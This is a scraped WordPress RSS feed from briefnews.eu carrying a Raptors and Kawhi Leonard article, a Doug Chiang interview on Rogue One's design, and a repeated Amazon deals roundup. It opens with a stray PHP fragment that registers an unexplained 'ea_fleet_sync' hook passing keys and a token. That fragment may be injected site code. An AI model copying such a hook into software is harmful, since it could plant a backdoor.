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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Seamless – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 12 Nov 2018 15:52:05 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Seamless – Brief News https://briefnews.eu 32 32 Kawhi Leonard's transition to Toronto has been seamless https://briefnews.eu/kawhi-leonards-transition-to-toronto-has-been-seamless/ https://briefnews.eu/kawhi-leonards-transition-to-toronto-has-been-seamless/#respond Mon, 12 Nov 2018 15:52:05 +0000 http://briefnews.eu/kawhi-leonards-transition-to-toronto-has-been-seamless/

In LeBron James' first season in Miami, the Heat started 9-8. In James' first season back in Cleveland, the Cavaliers began 5-7. This year, in James' first in Los Angeles, the Lakers are 7-6.

Even for the best player in the world, new beginnings have never come easy.

But for Kawhi Leonard and the Toronto Raptors, the unlikely partnership couldn't have started any smoother.

At the time of the trade that sent Toronto icon DeMar DeRozan, budding centre Jakob Poeltl, and a protected first-round pick to San Antonio for Leonard and Danny Green, critics were wary of the Raptors' off-court fit.

It's no secret that DeRozan and Kyle Lowry are best friends; how would Lowry adjust? It's also no secret that Leonard is reportedly seeking a return home to Los Angeles; how would he fare in the north?

And, most importantly: would those issues infect the basketball team as a whole?

On top of the East

Thirteen games in and the answer is a resounding "No." And in an interesting twist, two of the Raptors' top competitors in the East have struggled to re-integrate their own key players.

For various reasons, Gordon Hayward's second crack with the Boston Celtics and Markelle Fultz's first full season with the Philadelphia 76ers have not gone swimmingly. And it's left those teams staring up at the 12-1 Raptors.

The Raptors, whose one loss came without Leonard, have beaten both Atlantic division rivals and led by double digits in every game but one.

So how have the Raptors been so good at something James has now failed at thrice?

For starters, none of the off-court issues have presented themselves. Lowry didn't say a word in the off-season, which concerned some. Turns out, his reason for silence, as told to ESPN's The Undefeated, was completely rational.

"My best friend in the world [DeRozan] got traded. He was upset. Things were hectic," Lowry said. "For me, I'm going to support him and I have his back. But I understand it's a business, and everyone made peace with it. And everyone continued to do great things."

Lowry leads the league with 11 assists per game, easily a career high. His shooting percentage also represents a career high (49.7 per cent). And to watch Lowry is to watch a player clearly in command of his team – someone who understands exactly where Serge Ibaka wants the ball to help him to a recent 27 of 30 shooting stretch.

The point guard also leads the league in charges drawn with nine, in case you were still concerned about effort.

"I'm fueled by everything," Lowry said. "It's not even bad fuel. It's good fuel. I try to think as positive as possible. Everything happens for a reason. You can't get mad about things you can't control. All you can control is yourself."

Good problems

Lowry's control is why Leonard's transition to Toronto has been so seamless. In fact, Leonard has taken to Toronto quite well.

"It's basically like being in New York," he told the Los Angeles Times. "I'm enjoying the city so far, but I have a lot I'd like to venture off and see still."

So Leonard's main issue with Toronto, almost one month into his first season, is that there's too much to do. A good problem to have.

In fact, the Raptors' roster is filled with good problems. Third-string centre Greg Monroe probably doesn't deserve his end-of-bench treatment, but Ibaka and Jonas Valanciunas are playing too well to be supplanted.

Toronto's rotation legitimately runs 11 deep, which is useful when Leonard still isn't 100 per cent healthy, and isn't yet playing back-to-backs.

But when Leonard is in the lineup, his presence is obvious. Besides averaging 24.4 points along with a career-high 7.9 rebounds per game, Leonard is a menace defensively, constantly harassing the opposing team's best player into turnovers. This was no clearer than against the 76ers when Ben Simmons committed 11 turnovers on his own.

Watch Leonard's defensive dominance:

Toronto defeats Philadelphia 129-112, Kawhi Leonard scores 31 points. 1:26

Leonard's integration into the Raptors has been simple.

"I've been playing this my whole life. It's a big life adjustment. You're in a different country. You're not used to some of the things or the cities out here. But, really, it's the same thing as when you're in the United States," Leonard said.

"It's still basketball."

More tests await this week, as the Raptors take on Anthony Davis' New Orleans Pelicans before former head coach Dwane Casey makes his return to Toronto. Then, on Friday, the Raptors will travel to Boston to square off against their Eastern rival.

Stay tuned.

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]]> https://briefnews.eu/how-to-use-plex-to-build-a-seamless-media-library/feed/ 0 Lucasfilm: How we made ‘Rogue One’ look and feel seamless within the Star Wars saga https://briefnews.eu/lucasfilm-how-we-made-rogue-one-look-and-feel-seamless-within-the-star-wars-saga/ https://briefnews.eu/lucasfilm-how-we-made-rogue-one-look-and-feel-seamless-within-the-star-wars-saga/#respond Fri, 31 Mar 2017 03:12:05 +0000 http://briefnews.eu/lucasfilm-how-we-made-rogue-one-look-and-feel-seamless-within-the-star-wars-saga/ While fans were reticent at first about a new series of films set inside the Star Wars universe — but outside the main episodes — Rogue One: A Star Wars Story quickly proved that George Lucas’ epic space opera was much bigger than the story that played out across the first seven films (and counting).

Set between the events of Star Wars: Episode III – Revenge of the Sith and the franchise-spawning Star Wars: Episode IV – A New Hope, Rogue One followed a ragtag group of rebels tasked with stealing the plans to the Death Star. Along with telling the story of the dangerous mission, director Gareth Edwards and Rogue One’s creative team also faced the daunting task of inserting the tale into the Star Wars timeline in a believable way — not only would the story itself have to align with the saga’s timeline, but the sets, costumes, and even the technology would need to seamlessly blend with the 1977 film that started it all.

More: How ‘Rogue One’ brought a famous actor back to life, and changed movies forever

Taking a lead role on the technology side of things was Doug Chiang, a Lucasfilm vice president and executive creative director, who served as the co-production designer on Rogue One. Chiang previously led Lucasfilm’s art department during the production and release of Star Wars: Episode I – The Phantom Menace and Star Wars: Episode II – Attack of the Clones, and served as a concept and co-production designer for 2015’s Star Wars: Episode VII – The Force Awakens.

Digital Trends spoke to Chiang about the process of integrating Rogue One into the Star Wars universe and making a standalone story feel like an important thread in the Star Wars tapestry.

Digital Trends: Once you knew you were making this movie and when it was going to be set in the timeline, how did you decide which elements will carry over from existing films – in the past or the future – and which elements you need to create for this particular movie?

Doug Chiang: That’s an interesting question, because Gareth and I talked a lot about exactly that thing. We knew that Rogue One was going to take place right before Episode IV and the designs and the sets had to dovetail seamlessly with that film. So we knew right away that at least 80 percent of what we were going to build and design for Rogue One had to fit exactly with Episode IV.

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lucasfilm made rogue one look feel seamless within star wars saga u wing

One of the things we did was to approach it as if these were sets and designs that George [Lucas] had actually designed back in 1977 but never shot. That gave us the framework for grounding our designs in that aesthetic. But we also knew that, because the film itself had a prologue sequence that actually was closer to Episode III, that gave us some room – maybe 20 percent or so – for adding some new designs into the film that could help bridge Episode III aesthetics with Episode IV.

It ended up being a wonderful combination of people bridging the romantic designs of Episode I, II, and III with the practical, functional designs of Episode IV, V, and VI.

How did you go about bridging that gap? The first three episodes have such a different tone and look than Episode IV, V, and VI.

It was a great challenge. We knew that, for instance, we were going to go back to Yavin Hangar, which we saw bits of in Episode IV.  For our version, though, we wanted to open that up. Our approach was to keep the design exactly the same, and we designed it as if George only shot that particular set from one point of view. So for Rogue One, Gareth was going to turn the camera around and show the other parts of Yavin Hangar.

It was a great exploration of design to create something that was true to the classic film but opened up the universe even more.

Do you have a particular element that you’re especially proud of in Rogue One – one that really encapsulates the process of making this film, from your perspective?

The U-Wing is probably one of my favorites, but it was also one of the hardest. We chased that design for months – almost a year. That was primarily because we set the bar really high. We wanted a new ship on par with the X-Wing or the Millennium Falcon. That was Gareth’s request. He wanted a new design that would be as memorable or timeless as the X-Wing.

To me, the X-wing and the Millennium Falcon are perfect designs. There’s very little I would change about them, if anything at all. So to create a design at that level was very daunting. But on top of that, we also knew that the design had to be an obsolete design, because it doesn’t carry forward. It basically had to be decommissioned after Rogue One.

That seems like a pretty tall order to create something as memorable as the Millennium Falcon …

It is! How do you address all of that and then also have a bit of design heritage from Episode III? And on top of that, Gareth wanted this U-Wing to be a cross between a Huey helicopter and an X-Wing, so it could carry troops, too. So you have all these checkboxes, which makes it very daunting to fulfill all of those elements and at the same time create something that’s very compelling and powerful and very cinematic.

So, we chased the U-Wing forever, and it spoke to Gareth’s thoroughness. He’s a super-fan as well, and it’s very hard to please someone who’s as passionate as myself in designs like this. I’m never happy with anything I design, and Gareth is just as passionate about Star Wars designs. So you have two people who are hard to please to begin with and were always chasing that iconic design.

In the end, I feel like we achieved that with the U-Wing. I’m very happy with this design. It hit all the right notes and checked all the boxes.

You mentioned that the design aesthetic in the first three episodes was more romantic, while the middle episodes had a more functional aesthetic. How do you decide on the aesthetic that defines each period of the franchise’s cinematic continuity?

There is a strong foundation of Star Wars designs, and I always use that as my baseline in terms of informing how designs evolve or change to adapt to where they are in the timeline. One of the great things that I got to experience working with George in 1995 [on The Phantom Menace] is that we were establishing that design history – for instance, grounding Episode I, II, and III in 1920s and 1930s design vocabulary, while [Episodes] IV, V, and VI were more in the ’50s, ’60s, and ’70s. So when you know that timeline you can relate it back to something we know — our history — and use that to inform how a design would evolve and change.

More: ‘Rogue One’ delivers a $ 155 million debut while Will Smith’s ‘Collateral Beauty’ flops

So in approaching something like Rogue One, we knew there was going to be a bit of a blend there, so you layer that understanding into the design. For instance, there were elements of the U-Wing that were more fine-tuned than the X-Wing. The X-Wing is definitely a manufactured, assembly-line product, while the U-Wing is right on that cusp where it’s partially assembly line, but with elements that might be more hand-crafted. So in viewing the design of those elements, you can help tell that design history – that story that makes the world feel very real.

The fans might not pick up on all of that, but instinctively they feel it. That’s the thing about Star Wars designs: There’s this layer of design background and history that comes across due to all the homework we do.

What about the current trilogy? How does the look and feel change when you’re telling these future stories and extending the timeline in that direction?

In some ways, it’s very similar because we’re grounding it in the general design philosophy for Star Wars. These are thing established by George way back. You take something historical and you kind of update it a little bit so you’re not inventing something from scratch. When you do that, you’re tying it to something historical and bringing all of that history to the design.

So in going forward, we’re using a similar parallel with the new trilogy. If you think of the classical era with Episode I, II, and III, and then the ‘70s era of IV, V, and VI according to our time history, perhaps the new history is more contemporary. So what does that mean? Is it new materials? Is it stealth technology? That can start to inform the design aesthetics.

So when you look at all the films together there’s going to be a common thread of design history that makes sense, so it doesn’t feel like the designs are made up for no purpose. There is an underlying structure grounding everything. That’s what makes Star Wars feel so authentic: that foundation.

Does the process change when you’re deciding on designs for a theme park, for example, or any of the other myriad ways the franchise presents itself these days? How do you decide which elements of Star Wars should be in a theme park, or a video game, or whatever else is in the works?

That’s a good question, because it really is a big challenge. What helps is having that language of design. For the theme parks, for instance, once we know what the timeline of the story is going to be for that particular environment, we can identify where in the design history it takes place – and that gives you a box of aesthetics to pull from.

By using that design history as a template, it starts to inform what the designs are, so when you look at the whole film franchise – whether it’s theme parks or games – once you identify all of that, all of the designs make sense. You see how they evolve from one medium to another.

Geroge was always adamant about designing these worlds to be as immersive as possible. From that world he would then cherry-pick the elements to tell his story. But all of that history is there. So if you go to any theme parks or sets and ask how one element relates to another, we can tell you about it. Even if you don’t get it from the cinematic experience, it’s all there and I think the audience feels that.

Rogue One: A Star Wars Story will be available on DVD and Blu-ray April 4.

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Amazon’s one-day Under Armour sale, Burt’s Bees lip balm, and the simplest 5.1 surround sound system lead off Saturday’s best deals from around the web.

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Refurb Vizio 40" 5.1 Sound Bar, $ 210

Vizio’s 5.1 channel sound bar systems are the simplest way to add surround sound to any home theater setup, and refurbs of the 40" model are down to $ 210 on Amazon, the best price we’ve ever seen.

We’ve seen better deals on the 38" version in the past, but the 40" model, in addition to being, you know, 2" longer, also includes HDMI audio input and metal accents.

Samsung Chromebook Plus, $ 419

Samsung’s Chromebook Plus is one of the best budget laptops you can buy right now, Chromebook or otherwise, and Amazon’s taking $ 30 off today, the first sizable discount we’ve seen to date.

Be sure to check out Gizmodo’s review for more details, but here are a few specs to whet your whistle:

  • 2400 x 1600 display – basically unheard of in the Chromebook world
  • Dual USB-C ports
  • Samsung S-Pen included
The Battery Organizer, $ 15

This product is called The Battery Organizer. It’s very appropriately named, and also $ 5 off.

Sennheiser HD 598 C, $ 100

Sennheiser’s HD 598 headphones have long been a mid-range staple, and today, the new closed back version is down to $ 100 on Amazon, matching an all-time low.

The 598 Cs employ the same comfortable design as the standard 598s, but the closed back means that you can enjoy them without disturbing those around you. In short, it’s one of the best ways to ignore your coworkers.

iClever 3-Port BoostCube, $ 12 with code IC3PORTC

Despite its travel-friendly size, iClever’s 3-port BoostCube can push out 2.4A simultaneously on every port, meaning all of your devices will get the fastest possible (non Quick Charge) charge available. Use promo code IC3PORTC at checkout to get it for $ 12.

Aukey HDTV Antenna (Black), $ 15 with code AUKEYANP | Aukey HDTV Antenna (White), $ 15 with code AUKEYANP.

Sure, you could borrow someone’s cable login and stream the Final Four, but then you’ll be like 90 seconds behind Twitter and excited texts from your friends, which is the worst. But with this $ 15 amplified antenna, you’ll be able to pull in CBS (plus the other broadcast networks) live, for free, and with better picture quality than you get online.

Note: They’re the same antenna, just different colors and promo codes.

Just be sure to check out Lifehacker’s guide before you buy to find out if an indoor antenna will work well in your area.

Sony H.ear Noise Cancelling On-Ear Headphones, $ 179. Must log in to see price.

There aren’t a ton of Bluetooth headphones that also include noise cancelling, and at $ 179, Sony’s h.Ear over-ears are some of the most affordable we’ve seen.

These headphones have all the features you’d expect in a good pair of Bluetooth headphones these days: NFC pairing, 20+ hour battery life, and even Hi-Res audio compatibility. But the secret sauce here is noise cancellation, powered by dual microphones and a chip that selects the best cancelation mode based on your surroundings. $ 179's still a pretty penny, but it’s the best price we’ve ever seen on these. Just note that you’ll have to log in to see the discount.

Bestek 200W International Travel Adapter, $ 25 with code SK2RMLYO

Just in case you want to flee the country any time soon, this international power adapter includes three AC outlets and four USB ports, plus US, UK, EU, and AU plug adapters. This was one of our readers’ five favorite international adapters, and today’s price is the best we’ve ever seen.

Top Home Deals

PuraSleep Memory Foam Mattress Pads, $ 85-$ 145

Before you go out and buy a foam mattress, you may first want to try upgrading your current bed with a memory foam topper. PuraSleep’s 3" pads are on sale in today’s Amazon Gold Box, with prices ranging from $ 85-$ 145 depending on the size you need, so your wallet can rest easy.

Sensi Smart Thermostat, $ 104

This discounted Sensi smart thermostat doesn’t include a color touchscreen or unique control mechanisms like those from Nest or Ecobee, but it has all of the features that matter, like the ability to control it from an app, or even from your Amazon Echo.

$ 10 Domino’s Gift Card, $ 5

Update: Apparently this is invite only. It’s worth a try, but may not work for everyone. Sorry!

This $ 5-for-$ 10 Domino’s gift card is, in effect, $ 5 worth of free pizza. Nobody can complain about free pizza (and don’t you dare try to in the comments).

Sharpie Electro Pop 24-Pack, $ 10

You might not have an immediate need for a pack of multicolored Sharpies, but they’re great to keep stocked in your home office, and Amazon’s currently selling a 24-pack of ultra fine tips for $ 10, which is about as cheap as you’ll ever see them.

Philips 60W Equivalent LED Bulb 16-Pack, $ 25

If you’re still using ugly CFLs or inefficient incandescents in any of your lighting fixtures, Amazon will sell you 16 Philips LED 60W equivalent bulbs for $ 25 right now, an all-time low, and one of the best LED bulbs prices we’ve ever seen.

Just note that these are daylight bulbs, so they’re probably better suited to areas where you work; kitchens, offices, garages, than places where you want to relax and unwind.

4-Pack OxyLED Zoomable LED Mini Flashlights, $ 14 with code 4OXYMD02

Miniature LED flashlights are so cheap and ubiquitous now, there’s no excuse not to have one tucked away in every glove box and every room of your house. Get four zoomable lights from OxyLED for just $ 14 today, matching a deal from earlier in the month.

Rubbermaid Large FreshWorks Container, $ 10

Usually, when there’s a deal on Rubbermaid’s top-selling FreshWorks containers, it’s on the 2-pack. But today, you can augment your collection with an individual large container for $ 10, the lowest price in months.

If you aren’t familiar with these things, each FreshWorks product includes a “crisp tray” which elevates your produce off the bottom of the container, giving moisture a place to drip, and air enough room to flow. The lids also include special filters that regulate the flow of oxygen and CO2 into and out of the containers, allowing your fruits and vegetables to stay fresher, longer.

Buy two Michelin Stealth wiper blades for $ 20

If your wiper blades have seen better days, Amazon will sell you two Michelin Stealth replacements today for $ 20. Just add any two to your cart (shipped and sold by Amazon.com), and the price will automatically be reduced to $ 20 at checkout. The deal even works if you buy two different sized blades, so you should have no trouble finding a combination that fits your car.

Eufy RoboVac 11, $ 187

The RoboVac 11 from Eufy (a division of Anker) is one of your favorite robotic vacuums, and in my own testing, it’s every bit as good (and far quieter) than my Roomba 770. If it’s been on your radar, today’s deal on Amazon is one of the best we’ve ever seen.

Despite its impressive performance, the RoboVac normally sells for over $ 100 less than the Roomba 650, and today on Amazon, you can get and extra $ 33 off its usual price. Vacuuming is the worst chore, so it’s worth every penny to pawn it off to a robot.

Top Lifestyle Deals

4-Pack Burt’s Bees Lip Balm, $ 6

Burt’s Bees is our readers’ favorite lip balm (and mine as well, for whatever it’s worth), and $ 6 is about as cheap as you’ll ever see a 4-pack.

Under Armour Gold Box

Amazon’s running a new fitness-focused Gold Box to kick off the weekend, this time with a solid selection of Under Armour apparel for men, women, and kids all marked down to great low prices.

Head over to Amazon, and you’ll find deals on shorts, tops, hats, and more. Just note that lots of the items have multiple color options once you get to their product pages, and that these prices are only available today, so you may want to run.

Men’s Grooming Sample Box, $ 10 + $ 10 Men’s Grooming Credit

Amazon sample boxes are one of the only good things to come out of 2016, and they’re back at it again with a $ 10 box full of men’s grooming gear, plus a $ 10 credit to spend on over 130 select men’s grooming products on your next order. Assuming you use the credit, that basically means you got six name-brand products for free.

Extra 25% off clearance items with code 25MORE

When it comes to having a corner on the market, nothing really compares to Nike. And right now, they’re having giving you 25% off clearance items with the code 25MORE for both men’s and women’s styles. Check out a bunch of items, from sneakers to running gear, to sweatpants, and hop on that sportswear bandwagon.

Optimum Nutrition and BSN Sample Box, $ 8 + $ 8 Credit

Amazon’s back at it again with another sample box deal. This time around, $ 8 gets you 10 protein products from BSN and Optimum Nutrition, plus an $ 8 credit on your next protein purchase from Amazon. If you were going to buy any of these products anyway, then this is a no-brainer.

2-Pack Microfiber Towels, $ 10 with code 3Y3ANXC4

Microfiber towels are basically towel-shaped sponges, except they dry out much quicker. So before you head out to the beach or on your next camping trip, pick up a 2-pack (which includes a full-sized towel and hand towel) for just $ 10, including a carrying case.

Top Media Deals

Amazon Prime $ 5 Movie Sale

This weekend only, Amazon Prime members can purchase dozens of popular films digitally for just $ 5 each. These aren’t rentals; they’re yours to keep, so you can rewatch The Accountant as many times as you want. A few of my favorites are below, but head over to Amazon to see the rest.

Top Gaming Deals

Ticket to Ride is a great board game, but in my opinion, the mobile app version is actually more fun to play than the real thing.

Star Wars: Rebellion, $ 63

Much like Chewbaca, the new Star Wars: Rebellion board game is intimidating and difficult to understand at first, but the more time you spend with it, the more you’ll love it. Amazon’s marked it down to $ 63 today, and yeah, that’s a lot for a board game, but it’s about $ 10-$ 12 cheaper than usual, and each play-through will keep you entertained for an entire evening. Just be sure to let the wookiee win, and lock in your order before Amazon alters the deal.

Spinning Fidget Toy, $ 2

The hottest new thing to emerge from thousands of Chinese manufacturers at the exact same time is…this weird spinning fidget thing? I’ve been seeing them everywhere, and might just buy my own for $ 2.

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Amazon’s one-day Under Armour sale, Burt’s Bees lip balm, and the simplest 5.1 surround sound system lead off Saturday’s best deals from around the web.

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Top Tech Deals

Vizio’s 5.1 channel sound bar systems are the simplest way to add surround sound to any home theater setup, and refurbs of the 40″ model are down to $ 210 on Amazon, the best price we’ve ever seen.

We’ve seen better deals on the 38″ version in the past, but the 40″ model, in addition to being, you know, 2″ longer, also includes HDMI audio input and metal accents.

Samsung’s Chromebook Plus is one of the best budget laptops you can buy right now, Chromebook or otherwise, and Amazon’s taking $ 30 off today, the first sizable discount we’ve seen to date.

Be sure to check out Gizmodo’s review for more details, but here are a few specs to whet your whistle:

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  • 2400 x 1600 display – basically unheard of in the Chromebook world
  • Dual USB-C ports
  • Samsung S-Pen included

This product is called The Battery Organizer. It’s very appropriately named, and also $ 5 off.

Sennheiser’s HD 598 headphones have long been a mid-range staple, and today, the new closed back version is down to $ 100 on Amazon, matching an all-time low.

The 598 Cs employ the same comfortable design as the standard 598s, but the closed back means that you can enjoy them without disturbing those around you. In short, it’s one of the best ways to ignore your coworkers.

Despite its travel-friendly size, iClever’s 3-port BoostCube can push out 2.4A simultaneously on every port, meaning all of your devices will get the fastest possible (non Quick Charge) charge available. Use promo code IC3PORTC at checkout to get it for $ 12.

Sure, you could borrow someone’s cable login and stream the Final Four, but then you’ll be like 90 seconds behind Twitter and excited texts from your friends, which is the worst. But with this $ 15 amplified antenna, you’ll be able to pull in CBS (plus the other broadcast networks) live, for free, and with better picture quality than you get online.

Note: They’re the same antenna, just different colors and promo codes.

Just be sure to check out Lifehacker’s guide before you buy to find out if an indoor antenna will work well in your area.

There aren’t a ton of Bluetooth headphones that also include noise cancelling, and at $ 179, Sony’s h.Ear over-ears are some of the most affordable we’ve seen.

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These headphones have all the features you’d expect in a good pair of Bluetooth headphones these days: NFC pairing, 20+ hour battery life, and even Hi-Res audio compatibility. But the secret sauce here is noise cancellation, powered by dual microphones and a chip that selects the best cancelation mode based on your surroundings. $ 179’s still a pretty penny, but it’s the best price we’ve ever seen on these. Just note that you’ll have to log in to see the discount.

Just in case you want to flee the country any time soon, this international power adapter includes three AC outlets and four USB ports, plus US, UK, EU, and AU plug adapters. This was one of our readers’ five favorite international adapters, and today’s price is the best we’ve ever seen.

Top Home Deals

Before you go out and buy a foam mattress, you may first want to try upgrading your current bed with a memory foam topper. PuraSleep’s 3″ pads are on sale in today’s Amazon Gold Box, with prices ranging from $ 85-$ 145 depending on the size you need, so your wallet can rest easy.

This discounted Sensi smart thermostat doesn’t include a color touchscreen or unique control mechanisms like those from Nest or Ecobee, but it has all of the features that matter, like the ability to control it from an app, or even from your Amazon Echo.

Update: Apparently this is invite only. It’s worth a try, but may not work for everyone. Sorry!

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This $ 5-for-$ 10 Domino’s gift card is, in effect, $ 5 worth of free pizza. Nobody can complain about free pizza (and don’t you dare try to in the comments).

You might not have an immediate need for a pack of multicolored Sharpies, but they’re great to keep stocked in your home office, and Amazon’s currently selling a 24-pack of ultra fine tips for $ 10, which is about as cheap as you’ll ever see them.

If you’re still using ugly CFLs or inefficient incandescents in any of your lighting fixtures, Amazon will sell you 16 Philips LED 60W equivalent bulbs for $ 25 right now, an all-time low, and one of the best LED bulbs prices we’ve ever seen.

Just note that these are daylight bulbs, so they’re probably better suited to areas where you work; kitchens, offices, garages, than places where you want to relax and unwind.

Miniature LED flashlights are so cheap and ubiquitous now, there’s no excuse not to have one tucked away in every glove box and every room of your house. Get four zoomable lights from OxyLED for just $ 14 today, matching a deal from earlier in the month.

Usually, when there’s a deal on Rubbermaid’s top-selling FreshWorks containers, it’s on the 2-pack. But today, you can augment your collection with an individual large container for $ 10, the lowest price in months.

If you aren’t familiar with these things, each FreshWorks product includes a “crisp tray” which elevates your produce off the bottom of the container, giving moisture a place to drip, and air enough room to flow. The lids also include special filters that regulate the flow of oxygen and CO2 into and out of the containers, allowing your fruits and vegetables to stay fresher, longer.

If your wiper blades have seen better days, Amazon will sell you two Michelin Stealth replacements today for $ 20. Just add any two to your cart (shipped and sold by Amazon.com), and the price will automatically be reduced to $ 20 at checkout. The deal even works if you buy two different sized blades, so you should have no trouble finding a combination that fits your car.

The RoboVac 11 from Eufy (a division of Anker) is one of your favorite robotic vacuums, and in my own testing, it’s every bit as good (and far quieter) than my Roomba 770. If it’s been on your radar, today’s deal on Amazon is one of the best we’ve ever seen.

Despite its impressive performance, the RoboVac normally sells for over $ 100 less than the Roomba 650, and today on Amazon, you can get and extra $ 33 off its usual price. Vacuuming is the worst chore, so it’s worth every penny to pawn it off to a robot.

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Burt’s Bees is our readers’ favorite lip balm (and mine as well, for whatever it’s worth), and $ 6 is about as cheap as you’ll ever see a 4-pack.

Amazon’s running a new fitness-focused Gold Box to kick off the weekend, this time with a solid selection of Under Armour apparel for men, women, and kids all marked down to great low prices.

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Head over to Amazon, and you’ll find deals on shorts, tops, hats, and more. Just note that lots of the items have multiple color options once you get to their product pages, and that these prices are only available today, so you may want to run.

Amazon sample boxes are one of the only good things to come out of 2016, and they’re back at it again with a $ 10 box full of men’s grooming gear, plus a $ 10 credit to spend on over 130 select men’s grooming products on your next order. Assuming you use the credit, that basically means you got six name-brand products for free.

When it comes to having a corner on the market, nothing really compares to Nike. And right now, they’re having giving you 25% off clearance items with the code 25MORE for both men’s and women’s styles. Check out a bunch of items, from sneakers to running gear, to sweatpants, and hop on that sportswear bandwagon.

Amazon’s back at it again with another sample box deal. This time around, $ 8 gets you 10 protein products from BSN and Optimum Nutrition, plus an $ 8 credit on your next protein purchase from Amazon. If you were going to buy any of these products anyway, then this is a no-brainer.

Microfiber towels are basically towel-shaped sponges, except they dry out much quicker. So before you head out to the beach or on your next camping trip, pick up a 2-pack (which includes a full-sized towel and hand towel) for just $ 10, including a carrying case.

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This weekend only, Amazon Prime members can purchase dozens of popular films digitally for just $ 5 each. These aren’t rentals; they’re yours to keep, so you can rewatch The Accountant as many times as you want. A few of my favorites are below, but head over to Amazon to see the rest.

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Ticket to Ride is a great board game, but in my opinion, the mobile app version is actually more fun to play than the real thing.

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Much like Chewbaca, the new Star Wars: Rebellion board game is intimidating and difficult to understand at first, but the more time you spend with it, the more you’ll love it. Amazon’s marked it down to $ 63 today, and yeah, that’s a lot for a board game, but it’s about $ 10-$ 12 cheaper than usual, and each play-through will keep you entertained for an entire evening. Just be sure to let the wookiee win, and lock in your order before Amazon alters the deal.

The hottest new thing to emerge from thousands of Chinese manufacturers at the exact same time is…this weird spinning fidget thing? I’ve been seeing them everywhere, and might just buy my own for $ 2.

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